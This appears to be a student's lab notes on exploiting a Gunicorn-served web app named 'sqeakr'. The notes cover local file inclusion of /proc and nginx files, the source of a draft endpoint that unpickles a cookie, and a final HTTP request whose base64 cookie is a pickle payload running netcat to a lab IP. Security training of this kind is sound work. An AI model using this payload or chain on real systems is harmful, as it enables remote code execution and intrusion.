/proc/self/cmdline
/home/student/sqeakr/sqeakrenv/bin/python
/home/student/sqeakr/sqeakrenv/bin/gunicorn
sqeakr.wsgi:application
/proc/self/status
gunicorn
/etc/nginx/nginx.conf
Gunicorn, Flask, Nginx, WSGI application
Use LFI find file related to flask source code location
Use source code to find pickle exploit
Gunicorn
#!/home/student/sqeakr/sqeakrenv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from gunicorn.app.wsgiapp import run
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(run())
drwxr-xr-x 10 student student 4096 May 8 2020 .
drwxr-xr-x 5 student student 4096 May 8 2020 ..
drwxr-xr-x 6 student student 4096 May 7 2020 api
drwxr-xr-x 3 student student 4096 Apr 15 2020 auth
drwxr-xr-x 10 student student 4096 Apr 24 2020 avatars
drwxr-xr-x 4 student student 4096 Apr 28 2020 main
-rwxr-xr-x 1 student student 773 Apr 14 2020 manage.py
-rw-r--r-- 1 student student 128 May 5 2020 requirements.txt
drwxr-xr-x 3 student student 4096 May 8 2020 sqeakr
drwxr-xr-x 4 student student 4096 May 8 2020 sqeakrenv
drwxr-xr-x 6 student student 4096 May 8 2020 static
drwxr-xr-x 3 student student 4096 May 8 2020 templates
pwd
/home/student/sqeakr
cd api
ls
admin.py
apps.py
constants.py
fixtures
forms.py
__init__.py
migrations
models.py
__pycache__
tests.py
tokens.py
urls.py
views
@csrf_exempt
def draft(request):
"""
Endpoint for saving a draft sqeak. Sqeak is saved as a cookie.
"""
if 'authtoken' in request.headers:
_token = request.headers['authtoken']
_profile = Tokens.validate_token(_token)
# make sure we have a real user and not a guest
if None != _profile:
if request.method == 'GET':
# convert draft pickle and return back the contents
_c = request.COOKIES.get('draft')
if None == _c:
return JsonResponse({})
try:
_txt = pickle.loads(base64.b64decode(_c))
return JsonResponse({'status':'ok','sqeak':_txt})
except:
return JsonResponse({})
elif request.method == 'POST':
# create draft pickle and return it
_txt = ''
# get the necessary data
if request.content_type == 'application/json':
data = json.loads(request.body.decode('utf-8'))
if 'sqeak' in data.keys():
_txt = data['sqeak'].strip()
else:
_txt = request.POST.get('sqeak').strip()
if '' != _txt:
_p = pickle.dumps({'draft':_txt.strip()})
_c = base64.b64encode(_p).decode('utf-8')
_res = JsonResponse(status=201, data={'status':'ok','message':'Draft sqeak created'})
_res.set_cookie('draft', _c, httponly=True)
return _res
else:
return JsonResponse(status=405, data={'status':'error','message':METHOD})
else:
return JsonResponse(status=401, data={'status':'error','message':MISSING_AUTH})
else:
return JsonResponse(status=401, data={'status':'error','message':MISSING_AUTH})
GET /api/draft HTTP/1.1
Host: 192.168.121.247
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authtoken: gAN9cQAoWAQAAABhdXRocQFLAFgGAAAAdXNlcmlkcQJYJAAAAGIxYzdmMDk0LWNiZDQtNDRhMC05MWMzLWUyM2RjYjg5NjJmMXEDdS4=
Connection: close
Referer: http://192.168.121.247/feed
Cookie: draft=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtbnYgMTkyLjE2OC4xMTkuMTIxIDQ0NDQnCnAyCnRScDMKLg==